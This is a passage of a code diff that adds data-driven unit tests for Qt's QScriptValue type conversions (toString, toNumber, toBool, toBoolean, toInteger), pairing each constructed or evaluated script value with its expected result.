+        toString.insert("engine->evaluate(\"(function() { return 1; })\")", "function () { return 1; }");
+        toString.insert("engine->evaluate(\"(function() { return 'ciao'; })\")", "function () { return 'ciao'; }");
+        toString.insert("engine->evaluate(\"(function() { throw new Error('foo'); })\")", "function () { throw new Error('foo'); }");
+        toString.insert("engine->evaluate(\"/foo/\")", "/foo/");
+        toString.insert("engine->evaluate(\"new Object()\")", "[object Object]");
+        toString.insert("engine->evaluate(\"new Array()\")", "");
+        toString.insert("engine->evaluate(\"new Error()\")", "Error: Unknown error");
+        toString.insert("engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")", "22");
+        toString.insert("engine->evaluate(\"Undefined\")", "ReferenceError: Can't find variable: Undefined");
+        toString.insert("engine->evaluate(\"Null\")", "ReferenceError: Can't find variable: Null");
+        toString.insert("engine->evaluate(\"True\")", "ReferenceError: Can't find variable: True");
+        toString.insert("engine->evaluate(\"False\")", "ReferenceError: Can't find variable: False");
+        toString.insert("engine->evaluate(\"undefined\")", "undefined");
+        toString.insert("engine->evaluate(\"null\")", "null");
+        toString.insert("engine->evaluate(\"true\")", "true");
+        toString.insert("engine->evaluate(\"false\")", "false");
+        toString.insert("engine->evaluate(\"122\")", "122");
+        toString.insert("engine->evaluate(\"124\")", "124");
+        toString.insert("engine->evaluate(\"0\")", "0");
+        toString.insert("engine->evaluate(\"0.0\")", "0");
+        toString.insert("engine->evaluate(\"123.0\")", "123");
+        toString.insert("engine->evaluate(\"6.37e-8\")", "6.37e-8");
+        toString.insert("engine->evaluate(\"-6.37e-8\")", "-6.37e-8");
+        toString.insert("engine->evaluate(\"0x43211234\")", "1126240820");
+        toString.insert("engine->evaluate(\"0x10000\")", "65536");
+        toString.insert("engine->evaluate(\"0x10001\")", "65537");
+        toString.insert("engine->evaluate(\"NaN\")", "NaN");
+        toString.insert("engine->evaluate(\"Infinity\")", "Infinity");
+        toString.insert("engine->evaluate(\"-Infinity\")", "-Infinity");
+        toString.insert("engine->evaluate(\"'ciao'\")", "ciao");
+        toString.insert("engine->evaluate(\"''\")", "");
+        toString.insert("engine->evaluate(\"'0'\")", "0");
+        toString.insert("engine->evaluate(\"'123'\")", "123");
+        toString.insert("engine->evaluate(\"'12.4'\")", "12.4");
+        toString.insert("engine->nullValue()", "null");
+        toString.insert("engine->undefinedValue()", "undefined");
+    }
+    newRow(expr) << toString.value(expr);
+}
+
+void tst_QScriptValue::toString_test(const char*, const QScriptValue& value)
+{
+    QFETCH(QString, expected);
+    QCOMPARE(value.toString(), expected);
+    QCOMPARE(value.toString(), expected);
+}
+
+DEFINE_TEST_FUNCTION(toString)
+
+
+void tst_QScriptValue::toNumber_initData()
+{
+    QTest::addColumn<qsreal>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::toNumber_makeData(const char* expr)
+{
+    static QHash<QString, qsreal> toNumber;
+    if (toNumber.isEmpty()) {
+        toNumber.insert("QScriptValue()", 0);
+        toNumber.insert("QScriptValue(QScriptValue::UndefinedValue)", qQNaN());
+        toNumber.insert("QScriptValue(QScriptValue::NullValue)", 0);
+        toNumber.insert("QScriptValue(true)", 1);
+        toNumber.insert("QScriptValue(false)", 0);
+        toNumber.insert("QScriptValue(int(122))", 122);
+        toNumber.insert("QScriptValue(uint(124))", 124);
+        toNumber.insert("QScriptValue(0)", 0);
+        toNumber.insert("QScriptValue(0.0)", 0);
+        toNumber.insert("QScriptValue(123.0)", 123);
+        toNumber.insert("QScriptValue(6.37e-8)", 6.369999999999999e-08);
+        toNumber.insert("QScriptValue(-6.37e-8)", -6.369999999999999e-08);
+        toNumber.insert("QScriptValue(0x43211234)", 1126240820);
+        toNumber.insert("QScriptValue(0x10000)", 65536);
+        toNumber.insert("QScriptValue(0x10001)", 65537);
+        toNumber.insert("QScriptValue(qSNaN())", qQNaN());
+        toNumber.insert("QScriptValue(qQNaN())", qQNaN());
+        toNumber.insert("QScriptValue(qInf())", qInf());
+        toNumber.insert("QScriptValue(-qInf())", qInf());
+        toNumber.insert("QScriptValue(\"NaN\")", qQNaN());
+        toNumber.insert("QScriptValue(\"Infinity\")", qInf());
+        toNumber.insert("QScriptValue(\"-Infinity\")", qInf());
+        toNumber.insert("QScriptValue(\"ciao\")", qQNaN());
+        toNumber.insert("QScriptValue(QString::fromLatin1(\"ciao\"))", qQNaN());
+        toNumber.insert("QScriptValue(QString(\"\"))", 0);
+        toNumber.insert("QScriptValue(QString())", 0);
+        toNumber.insert("QScriptValue(QString(\"0\"))", 0);
+        toNumber.insert("QScriptValue(QString(\"123\"))", 123);
+        toNumber.insert("QScriptValue(QString(\"12.4\"))", 12.4);
+        toNumber.insert("QScriptValue(0, QScriptValue::UndefinedValue)", qQNaN());
+        toNumber.insert("QScriptValue(0, QScriptValue::NullValue)", 0);
+        toNumber.insert("QScriptValue(0, true)", 1);
+        toNumber.insert("QScriptValue(0, false)", 0);
+        toNumber.insert("QScriptValue(0, int(122))", 122);
+        toNumber.insert("QScriptValue(0, uint(124))", 124);
+        toNumber.insert("QScriptValue(0, 0)", 0);
+        toNumber.insert("QScriptValue(0, 0.0)", 0);
+        toNumber.insert("QScriptValue(0, 123.0)", 123);
+        toNumber.insert("QScriptValue(0, 6.37e-8)", 6.369999999999999e-08);
+        toNumber.insert("QScriptValue(0, -6.37e-8)", -6.369999999999999e-08);
+        toNumber.insert("QScriptValue(0, 0x43211234)", 1126240820);
+        toNumber.insert("QScriptValue(0, 0x10000)", 65536);
+        toNumber.insert("QScriptValue(0, 0x10001)", 65537);
+        toNumber.insert("QScriptValue(0, qSNaN())", qQNaN());
+        toNumber.insert("QScriptValue(0, qQNaN())", qQNaN());
+        toNumber.insert("QScriptValue(0, qInf())", qInf());
+        toNumber.insert("QScriptValue(0, -qInf())", qInf());
+        toNumber.insert("QScriptValue(0, \"NaN\")", qQNaN());
+        toNumber.insert("QScriptValue(0, \"Infinity\")", qInf());
+        toNumber.insert("QScriptValue(0, \"-Infinity\")", qInf());
+        toNumber.insert("QScriptValue(0, \"ciao\")", qQNaN());
+        toNumber.insert("QScriptValue(0, QString::fromLatin1(\"ciao\"))", qQNaN());
+        toNumber.insert("QScriptValue(0, QString(\"\"))", 0);
+        toNumber.insert("QScriptValue(0, QString())", 0);
+        toNumber.insert("QScriptValue(0, QString(\"0\"))", 0);
+        toNumber.insert("QScriptValue(0, QString(\"123\"))", 123);
+        toNumber.insert("QScriptValue(0, QString(\"12.3\"))", 12.3);
+        toNumber.insert("QScriptValue(engine, QScriptValue::UndefinedValue)", qQNaN());
+        toNumber.insert("QScriptValue(engine, QScriptValue::NullValue)", 0);
+        toNumber.insert("QScriptValue(engine, true)", 1);
+        toNumber.insert("QScriptValue(engine, false)", 0);
+        toNumber.insert("QScriptValue(engine, int(122))", 122);
+        toNumber.insert("QScriptValue(engine, uint(124))", 124);
+        toNumber.insert("QScriptValue(engine, 0)", 0);
+        toNumber.insert("QScriptValue(engine, 0.0)", 0);
+        toNumber.insert("QScriptValue(engine, 123.0)", 123);
+        toNumber.insert("QScriptValue(engine, 6.37e-8)", 6.369999999999999e-08);
+        toNumber.insert("QScriptValue(engine, -6.37e-8)", -6.369999999999999e-08);
+        toNumber.insert("QScriptValue(engine, 0x43211234)", 1126240820);
+        toNumber.insert("QScriptValue(engine, 0x10000)", 65536);
+        toNumber.insert("QScriptValue(engine, 0x10001)", 65537);
+        toNumber.insert("QScriptValue(engine, qSNaN())", qQNaN());
+        toNumber.insert("QScriptValue(engine, qQNaN())", qQNaN());
+        toNumber.insert("QScriptValue(engine, qInf())", qInf());
+        toNumber.insert("QScriptValue(engine, -qInf())", qInf());
+        toNumber.insert("QScriptValue(engine, \"NaN\")", qQNaN());
+        toNumber.insert("QScriptValue(engine, \"Infinity\")", qInf());
+        toNumber.insert("QScriptValue(engine, \"-Infinity\")", qInf());
+        toNumber.insert("QScriptValue(engine, \"ciao\")", qQNaN());
+        toNumber.insert("QScriptValue(engine, QString::fromLatin1(\"ciao\"))", qQNaN());
+        toNumber.insert("QScriptValue(engine, QString(\"\"))", 0);
+        toNumber.insert("QScriptValue(engine, QString())", 0);
+        toNumber.insert("QScriptValue(engine, QString(\"0\"))", 0);
+        toNumber.insert("QScriptValue(engine, QString(\"123\"))", 123);
+        toNumber.insert("QScriptValue(engine, QString(\"1.23\"))", 1.23);
+        toNumber.insert("engine->evaluate(\"[]\")", 0);
+        toNumber.insert("engine->evaluate(\"{}\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Object.prototype\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Date.prototype\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Array.prototype\")", 0);
+        toNumber.insert("engine->evaluate(\"Function.prototype\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Error.prototype\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Object\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Array\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Number\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Function\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"(function() { return 1; })\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"(function() { return 'ciao'; })\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"(function() { throw new Error('foo'); })\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"/foo/\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"new Object()\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"new Array()\")", 0);
+        toNumber.insert("engine->evaluate(\"new Error()\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")", 22);
+        toNumber.insert("engine->evaluate(\"Undefined\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Null\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"True\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"False\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"undefined\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"null\")", 0);
+        toNumber.insert("engine->evaluate(\"true\")", 1);
+        toNumber.insert("engine->evaluate(\"false\")", 0);
+        toNumber.insert("engine->evaluate(\"122\")", 122);
+        toNumber.insert("engine->evaluate(\"124\")", 124);
+        toNumber.insert("engine->evaluate(\"0\")", 0);
+        toNumber.insert("engine->evaluate(\"0.0\")", 0);
+        toNumber.insert("engine->evaluate(\"123.0\")", 123);
+        toNumber.insert("engine->evaluate(\"6.37e-8\")", 6.369999999999999e-08);
+        toNumber.insert("engine->evaluate(\"-6.37e-8\")", -6.369999999999999e-08);
+        toNumber.insert("engine->evaluate(\"0x43211234\")", 1126240820);
+        toNumber.insert("engine->evaluate(\"0x10000\")", 65536);
+        toNumber.insert("engine->evaluate(\"0x10001\")", 65537);
+        toNumber.insert("engine->evaluate(\"NaN\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"Infinity\")", qInf());
+        toNumber.insert("engine->evaluate(\"-Infinity\")", qInf());
+        toNumber.insert("engine->evaluate(\"'ciao'\")", qQNaN());
+        toNumber.insert("engine->evaluate(\"''\")", 0);
+        toNumber.insert("engine->evaluate(\"'0'\")", 0);
+        toNumber.insert("engine->evaluate(\"'123'\")", 123);
+        toNumber.insert("engine->evaluate(\"'12.4'\")", 12.4);
+        toNumber.insert("engine->nullValue()", 0);
+        toNumber.insert("engine->undefinedValue()", qQNaN());
+    }
+    newRow(expr) << toNumber.value(expr);
+}
+
+void tst_QScriptValue::toNumber_test(const char*, const QScriptValue& value)
+{
+    QFETCH(qsreal, expected);
+    if (qIsNaN(expected)) {
+        QVERIFY(qIsNaN(value.toNumber()));
+        return;
+    }
+    if (qIsInf(expected)) {
+        QVERIFY(qIsInf(value.toNumber()));
+        QVERIFY(qIsInf(value.toNumber()));
+        return;
+    }
+    QCOMPARE(value.toNumber(), expected);
+    QCOMPARE(value.toNumber(), expected);
+}
+
+DEFINE_TEST_FUNCTION(toNumber)
+
+
+void tst_QScriptValue::toBool_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::toBool_makeData(const char* expr)
+{
+    static QHash<QString, bool> toBool;
+    if (toBool.isEmpty()) {
+        toBool.insert("QScriptValue()", false);
+        toBool.insert("QScriptValue(QScriptValue::UndefinedValue)", false);
+        toBool.insert("QScriptValue(QScriptValue::NullValue)", false);
+        toBool.insert("QScriptValue(true)", true);
+        toBool.insert("QScriptValue(false)", false);
+        toBool.insert("QScriptValue(int(122))", true);
+        toBool.insert("QScriptValue(uint(124))", true);
+        toBool.insert("QScriptValue(0)", false);
+        toBool.insert("QScriptValue(0.0)", false);
+        toBool.insert("QScriptValue(123.0)", true);
+        toBool.insert("QScriptValue(6.37e-8)", true);
+        toBool.insert("QScriptValue(-6.37e-8)", true);
+        toBool.insert("QScriptValue(0x43211234)", true);
+        toBool.insert("QScriptValue(0x10000)", true);
+        toBool.insert("QScriptValue(0x10001)", true);
+        toBool.insert("QScriptValue(qSNaN())", false);
+        toBool.insert("QScriptValue(qQNaN())", false);
+        toBool.insert("QScriptValue(qInf())", true);
+        toBool.insert("QScriptValue(-qInf())", true);
+        toBool.insert("QScriptValue(\"NaN\")", true);
+        toBool.insert("QScriptValue(\"Infinity\")", true);
+        toBool.insert("QScriptValue(\"-Infinity\")", true);
+        toBool.insert("QScriptValue(\"ciao\")", true);
+        toBool.insert("QScriptValue(QString::fromLatin1(\"ciao\"))", true);
+        toBool.insert("QScriptValue(QString(\"\"))", false);
+        toBool.insert("QScriptValue(QString())", false);
+        toBool.insert("QScriptValue(QString(\"0\"))", true);
+        toBool.insert("QScriptValue(QString(\"123\"))", true);
+        toBool.insert("QScriptValue(QString(\"12.4\"))", true);
+        toBool.insert("QScriptValue(0, QScriptValue::UndefinedValue)", false);
+        toBool.insert("QScriptValue(0, QScriptValue::NullValue)", false);
+        toBool.insert("QScriptValue(0, true)", true);
+        toBool.insert("QScriptValue(0, false)", false);
+        toBool.insert("QScriptValue(0, int(122))", true);
+        toBool.insert("QScriptValue(0, uint(124))", true);
+        toBool.insert("QScriptValue(0, 0)", false);
+        toBool.insert("QScriptValue(0, 0.0)", false);
+        toBool.insert("QScriptValue(0, 123.0)", true);
+        toBool.insert("QScriptValue(0, 6.37e-8)", true);
+        toBool.insert("QScriptValue(0, -6.37e-8)", true);
+        toBool.insert("QScriptValue(0, 0x43211234)", true);
+        toBool.insert("QScriptValue(0, 0x10000)", true);
+        toBool.insert("QScriptValue(0, 0x10001)", true);
+        toBool.insert("QScriptValue(0, qSNaN())", false);
+        toBool.insert("QScriptValue(0, qQNaN())", false);
+        toBool.insert("QScriptValue(0, qInf())", true);
+        toBool.insert("QScriptValue(0, -qInf())", true);
+        toBool.insert("QScriptValue(0, \"NaN\")", true);
+        toBool.insert("QScriptValue(0, \"Infinity\")", true);
+        toBool.insert("QScriptValue(0, \"-Infinity\")", true);
+        toBool.insert("QScriptValue(0, \"ciao\")", true);
+        toBool.insert("QScriptValue(0, QString::fromLatin1(\"ciao\"))", true);
+        toBool.insert("QScriptValue(0, QString(\"\"))", false);
+        toBool.insert("QScriptValue(0, QString())", false);
+        toBool.insert("QScriptValue(0, QString(\"0\"))", true);
+        toBool.insert("QScriptValue(0, QString(\"123\"))", true);
+        toBool.insert("QScriptValue(0, QString(\"12.3\"))", true);
+        toBool.insert("QScriptValue(engine, QScriptValue::UndefinedValue)", false);
+        toBool.insert("QScriptValue(engine, QScriptValue::NullValue)", false);
+        toBool.insert("QScriptValue(engine, true)", true);
+        toBool.insert("QScriptValue(engine, false)", false);
+        toBool.insert("QScriptValue(engine, int(122))", true);
+        toBool.insert("QScriptValue(engine, uint(124))", true);
+        toBool.insert("QScriptValue(engine, 0)", false);
+        toBool.insert("QScriptValue(engine, 0.0)", false);
+        toBool.insert("QScriptValue(engine, 123.0)", true);
+        toBool.insert("QScriptValue(engine, 6.37e-8)", true);
+        toBool.insert("QScriptValue(engine, -6.37e-8)", true);
+        toBool.insert("QScriptValue(engine, 0x43211234)", true);
+        toBool.insert("QScriptValue(engine, 0x10000)", true);
+        toBool.insert("QScriptValue(engine, 0x10001)", true);
+        toBool.insert("QScriptValue(engine, qSNaN())", false);
+        toBool.insert("QScriptValue(engine, qQNaN())", false);
+        toBool.insert("QScriptValue(engine, qInf())", true);
+        toBool.insert("QScriptValue(engine, -qInf())", true);
+        toBool.insert("QScriptValue(engine, \"NaN\")", true);
+        toBool.insert("QScriptValue(engine, \"Infinity\")", true);
+        toBool.insert("QScriptValue(engine, \"-Infinity\")", true);
+        toBool.insert("QScriptValue(engine, \"ciao\")", true);
+        toBool.insert("QScriptValue(engine, QString::fromLatin1(\"ciao\"))", true);
+        toBool.insert("QScriptValue(engine, QString(\"\"))", false);
+        toBool.insert("QScriptValue(engine, QString())", false);
+        toBool.insert("QScriptValue(engine, QString(\"0\"))", true);
+        toBool.insert("QScriptValue(engine, QString(\"123\"))", true);
+        toBool.insert("QScriptValue(engine, QString(\"1.23\"))", true);
+        toBool.insert("engine->evaluate(\"[]\")", true);
+        toBool.insert("engine->evaluate(\"{}\")", false);
+        toBool.insert("engine->evaluate(\"Object.prototype\")", true);
+        toBool.insert("engine->evaluate(\"Date.prototype\")", true);
+        toBool.insert("engine->evaluate(\"Array.prototype\")", true);
+        toBool.insert("engine->evaluate(\"Function.prototype\")", true);
+        toBool.insert("engine->evaluate(\"Error.prototype\")", true);
+        toBool.insert("engine->evaluate(\"Object\")", true);
+        toBool.insert("engine->evaluate(\"Array\")", true);
+        toBool.insert("engine->evaluate(\"Number\")", true);
+        toBool.insert("engine->evaluate(\"Function\")", true);
+        toBool.insert("engine->evaluate(\"(function() { return 1; })\")", true);
+        toBool.insert("engine->evaluate(\"(function() { return 'ciao'; })\")", true);
+        toBool.insert("engine->evaluate(\"(function() { throw new Error('foo'); })\")", true);
+        toBool.insert("engine->evaluate(\"/foo/\")", true);
+        toBool.insert("engine->evaluate(\"new Object()\")", true);
+        toBool.insert("engine->evaluate(\"new Array()\")", true);
+        toBool.insert("engine->evaluate(\"new Error()\")", true);
+        toBool.insert("engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")", true);
+        toBool.insert("engine->evaluate(\"Undefined\")", true);
+        toBool.insert("engine->evaluate(\"Null\")", true);
+        toBool.insert("engine->evaluate(\"True\")", true);
+        toBool.insert("engine->evaluate(\"False\")", true);
+        toBool.insert("engine->evaluate(\"undefined\")", false);
+        toBool.insert("engine->evaluate(\"null\")", false);
+        toBool.insert("engine->evaluate(\"true\")", true);
+        toBool.insert("engine->evaluate(\"false\")", false);
+        toBool.insert("engine->evaluate(\"122\")", true);
+        toBool.insert("engine->evaluate(\"124\")", true);
+        toBool.insert("engine->evaluate(\"0\")", false);
+        toBool.insert("engine->evaluate(\"0.0\")", false);
+        toBool.insert("engine->evaluate(\"123.0\")", true);
+        toBool.insert("engine->evaluate(\"6.37e-8\")", true);
+        toBool.insert("engine->evaluate(\"-6.37e-8\")", true);
+        toBool.insert("engine->evaluate(\"0x43211234\")", true);
+        toBool.insert("engine->evaluate(\"0x10000\")", true);
+        toBool.insert("engine->evaluate(\"0x10001\")", true);
+        toBool.insert("engine->evaluate(\"NaN\")", false);
+        toBool.insert("engine->evaluate(\"Infinity\")", true);
+        toBool.insert("engine->evaluate(\"-Infinity\")", true);
+        toBool.insert("engine->evaluate(\"'ciao'\")", true);
+        toBool.insert("engine->evaluate(\"''\")", false);
+        toBool.insert("engine->evaluate(\"'0'\")", true);
+        toBool.insert("engine->evaluate(\"'123'\")", true);
+        toBool.insert("engine->evaluate(\"'12.4'\")", true);
+        toBool.insert("engine->nullValue()", false);
+        toBool.insert("engine->undefinedValue()", false);
+    }
+    newRow(expr) << toBool.value(expr);
+}
+
+void tst_QScriptValue::toBool_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.toBool(), expected);
+    QCOMPARE(value.toBool(), expected);
+}
+
+DEFINE_TEST_FUNCTION(toBool)
+
+
+void tst_QScriptValue::toBoolean_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::toBoolean_makeData(const char* expr)
+{
+    static QHash<QString, bool> toBoolean;
+    if (toBoolean.isEmpty()) {
+        toBoolean.insert("QScriptValue()", false);
+        toBoolean.insert("QScriptValue(QScriptValue::UndefinedValue)", false);
+        toBoolean.insert("QScriptValue(QScriptValue::NullValue)", false);
+        toBoolean.insert("QScriptValue(true)", true);
+        toBoolean.insert("QScriptValue(false)", false);
+        toBoolean.insert("QScriptValue(int(122))", true);
+        toBoolean.insert("QScriptValue(uint(124))", true);
+        toBoolean.insert("QScriptValue(0)", false);
+        toBoolean.insert("QScriptValue(0.0)", false);
+        toBoolean.insert("QScriptValue(123.0)", true);
+        toBoolean.insert("QScriptValue(6.37e-8)", true);
+        toBoolean.insert("QScriptValue(-6.37e-8)", true);
+        toBoolean.insert("QScriptValue(0x43211234)", true);
+        toBoolean.insert("QScriptValue(0x10000)", true);
+        toBoolean.insert("QScriptValue(0x10001)", true);
+        toBoolean.insert("QScriptValue(qSNaN())", false);
+        toBoolean.insert("QScriptValue(qQNaN())", false);
+        toBoolean.insert("QScriptValue(qInf())", true);
+        toBoolean.insert("QScriptValue(-qInf())", true);
+        toBoolean.insert("QScriptValue(\"NaN\")", true);
+        toBoolean.insert("QScriptValue(\"Infinity\")", true);
+        toBoolean.insert("QScriptValue(\"-Infinity\")", true);
+        toBoolean.insert("QScriptValue(\"ciao\")", true);
+        toBoolean.insert("QScriptValue(QString::fromLatin1(\"ciao\"))", true);
+        toBoolean.insert("QScriptValue(QString(\"\"))", false);
+        toBoolean.insert("QScriptValue(QString())", false);
+        toBoolean.insert("QScriptValue(QString(\"0\"))", true);
+        toBoolean.insert("QScriptValue(QString(\"123\"))", true);
+        toBoolean.insert("QScriptValue(QString(\"12.4\"))", true);
+        toBoolean.insert("QScriptValue(0, QScriptValue::UndefinedValue)", false);
+        toBoolean.insert("QScriptValue(0, QScriptValue::NullValue)", false);
+        toBoolean.insert("QScriptValue(0, true)", true);
+        toBoolean.insert("QScriptValue(0, false)", false);
+        toBoolean.insert("QScriptValue(0, int(122))", true);
+        toBoolean.insert("QScriptValue(0, uint(124))", true);
+        toBoolean.insert("QScriptValue(0, 0)", false);
+        toBoolean.insert("QScriptValue(0, 0.0)", false);
+        toBoolean.insert("QScriptValue(0, 123.0)", true);
+        toBoolean.insert("QScriptValue(0, 6.37e-8)", true);
+        toBoolean.insert("QScriptValue(0, -6.37e-8)", true);
+        toBoolean.insert("QScriptValue(0, 0x43211234)", true);
+        toBoolean.insert("QScriptValue(0, 0x10000)", true);
+        toBoolean.insert("QScriptValue(0, 0x10001)", true);
+        toBoolean.insert("QScriptValue(0, qSNaN())", false);
+        toBoolean.insert("QScriptValue(0, qQNaN())", false);
+        toBoolean.insert("QScriptValue(0, qInf())", true);
+        toBoolean.insert("QScriptValue(0, -qInf())", true);
+        toBoolean.insert("QScriptValue(0, \"NaN\")", true);
+        toBoolean.insert("QScriptValue(0, \"Infinity\")", true);
+        toBoolean.insert("QScriptValue(0, \"-Infinity\")", true);
+        toBoolean.insert("QScriptValue(0, \"ciao\")", true);
+        toBoolean.insert("QScriptValue(0, QString::fromLatin1(\"ciao\"))", true);
+        toBoolean.insert("QScriptValue(0, QString(\"\"))", false);
+        toBoolean.insert("QScriptValue(0, QString())", false);
+        toBoolean.insert("QScriptValue(0, QString(\"0\"))", true);
+        toBoolean.insert("QScriptValue(0, QString(\"123\"))", true);
+        toBoolean.insert("QScriptValue(0, QString(\"12.3\"))", true);
+        toBoolean.insert("QScriptValue(engine, QScriptValue::UndefinedValue)", false);
+        toBoolean.insert("QScriptValue(engine, QScriptValue::NullValue)", false);
+        toBoolean.insert("QScriptValue(engine, true)", true);
+        toBoolean.insert("QScriptValue(engine, false)", false);
+        toBoolean.insert("QScriptValue(engine, int(122))", true);
+        toBoolean.insert("QScriptValue(engine, uint(124))", true);
+        toBoolean.insert("QScriptValue(engine, 0)", false);
+        toBoolean.insert("QScriptValue(engine, 0.0)", false);
+        toBoolean.insert("QScriptValue(engine, 123.0)", true);
+        toBoolean.insert("QScriptValue(engine, 6.37e-8)", true);
+        toBoolean.insert("QScriptValue(engine, -6.37e-8)", true);
+        toBoolean.insert("QScriptValue(engine, 0x43211234)", true);
+        toBoolean.insert("QScriptValue(engine, 0x10000)", true);
+        toBoolean.insert("QScriptValue(engine, 0x10001)", true);
+        toBoolean.insert("QScriptValue(engine, qSNaN())", false);
+        toBoolean.insert("QScriptValue(engine, qQNaN())", false);
+        toBoolean.insert("QScriptValue(engine, qInf())", true);
+        toBoolean.insert("QScriptValue(engine, -qInf())", true);
+        toBoolean.insert("QScriptValue(engine, \"NaN\")", true);
+        toBoolean.insert("QScriptValue(engine, \"Infinity\")", true);
+        toBoolean.insert("QScriptValue(engine, \"-Infinity\")", true);
+        toBoolean.insert("QScriptValue(engine, \"ciao\")", true);
+        toBoolean.insert("QScriptValue(engine, QString::fromLatin1(\"ciao\"))", true);
+        toBoolean.insert("QScriptValue(engine, QString(\"\"))", false);
+        toBoolean.insert("QScriptValue(engine, QString())", false);
+        toBoolean.insert("QScriptValue(engine, QString(\"0\"))", true);
+        toBoolean.insert("QScriptValue(engine, QString(\"123\"))", true);
+        toBoolean.insert("QScriptValue(engine, QString(\"1.23\"))", true);
+        toBoolean.insert("engine->evaluate(\"[]\")", true);
+        toBoolean.insert("engine->evaluate(\"{}\")", false);
+        toBoolean.insert("engine->evaluate(\"Object.prototype\")", true);
+        toBoolean.insert("engine->evaluate(\"Date.prototype\")", true);
+        toBoolean.insert("engine->evaluate(\"Array.prototype\")", true);
+        toBoolean.insert("engine->evaluate(\"Function.prototype\")", true);
+        toBoolean.insert("engine->evaluate(\"Error.prototype\")", true);
+        toBoolean.insert("engine->evaluate(\"Object\")", true);
+        toBoolean.insert("engine->evaluate(\"Array\")", true);
+        toBoolean.insert("engine->evaluate(\"Number\")", true);
+        toBoolean.insert("engine->evaluate(\"Function\")", true);
+        toBoolean.insert("engine->evaluate(\"(function() { return 1; })\")", true);
+        toBoolean.insert("engine->evaluate(\"(function() { return 'ciao'; })\")", true);
+        toBoolean.insert("engine->evaluate(\"(function() { throw new Error('foo'); })\")", true);
+        toBoolean.insert("engine->evaluate(\"/foo/\")", true);
+        toBoolean.insert("engine->evaluate(\"new Object()\")", true);
+        toBoolean.insert("engine->evaluate(\"new Array()\")", true);
+        toBoolean.insert("engine->evaluate(\"new Error()\")", true);
+        toBoolean.insert("engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")", true);
+        toBoolean.insert("engine->evaluate(\"Undefined\")", true);
+        toBoolean.insert("engine->evaluate(\"Null\")", true);
+        toBoolean.insert("engine->evaluate(\"True\")", true);
+        toBoolean.insert("engine->evaluate(\"False\")", true);
+        toBoolean.insert("engine->evaluate(\"undefined\")", false);
+        toBoolean.insert("engine->evaluate(\"null\")", false);
+        toBoolean.insert("engine->evaluate(\"true\")", true);
+        toBoolean.insert("engine->evaluate(\"false\")", false);
+        toBoolean.insert("engine->evaluate(\"122\")", true);
+        toBoolean.insert("engine->evaluate(\"124\")", true);
+        toBoolean.insert("engine->evaluate(\"0\")", false);
+        toBoolean.insert("engine->evaluate(\"0.0\")", false);
+        toBoolean.insert("engine->evaluate(\"123.0\")", true);
+        toBoolean.insert("engine->evaluate(\"6.37e-8\")", true);
+        toBoolean.insert("engine->evaluate(\"-6.37e-8\")", true);
+        toBoolean.insert("engine->evaluate(\"0x43211234\")", true);
+        toBoolean.insert("engine->evaluate(\"0x10000\")", true);
+        toBoolean.insert("engine->evaluate(\"0x10001\")", true);
+        toBoolean.insert("engine->evaluate(\"NaN\")", false);
+        toBoolean.insert("engine->evaluate(\"Infinity\")", true);
+        toBoolean.insert("engine->evaluate(\"-Infinity\")", true);
+        toBoolean.insert("engine->evaluate(\"'ciao'\")", true);
+        toBoolean.insert("engine->evaluate(\"''\")", false);
+        toBoolean.insert("engine->evaluate(\"'0'\")", true);
+        toBoolean.insert("engine->evaluate(\"'123'\")", true);
+        toBoolean.insert("engine->evaluate(\"'12.4'\")", true);
+        toBoolean.insert("engine->nullValue()", false);
+        toBoolean.insert("engine->undefinedValue()", false);
+    }
+    newRow(expr) << toBoolean.value(expr);
+}
+
+void tst_QScriptValue::toBoolean_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.toBoolean(), expected);
+    QCOMPARE(value.toBoolean(), expected);
+}
+
+DEFINE_TEST_FUNCTION(toBoolean)
+
+
+void tst_QScriptValue::toInteger_initData()
+{
+    QTest::addColumn<qsreal>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::toInteger_makeData(const char* expr)
+{
+    static QHash<QString, qsreal> toInteger;
+    if (toInteger.isEmpty()) {
+        toInteger.insert("QScriptValue()", 0);
+        toInteger.insert("QScriptValue(QScriptValue::UndefinedValue)", 0);
+        toInteger.insert("QScriptValue(QScriptValue::NullValue)", 0);
+        toInteger.insert("QScriptValue(true)", 1);
+        toInteger.insert("QScriptValue(false)", 0);
+        toInteger.insert("QScriptValue(int(122))", 122);
+        toInteger.insert("QScriptValue(uint(124))", 124);
+        toInteger.insert("QScriptValue(0)", 0);
+        toInteger.insert("QScriptValue(0.0)", 0);
+        toInteger.insert("QScriptValue(123.0)", 123);
+        toInteger.insert("QScriptValue(6.37e-8)", 0);
+        toInteger.insert("QScriptValue(-6.37e-8)", 0);
+        toInteger.insert("QScriptValue(0x43211234)", 1126240820);
+        toInteger.insert("QScriptValue(0x10000)", 65536);
+        toInteger.insert("QScriptValue(0x10001)", 65537);
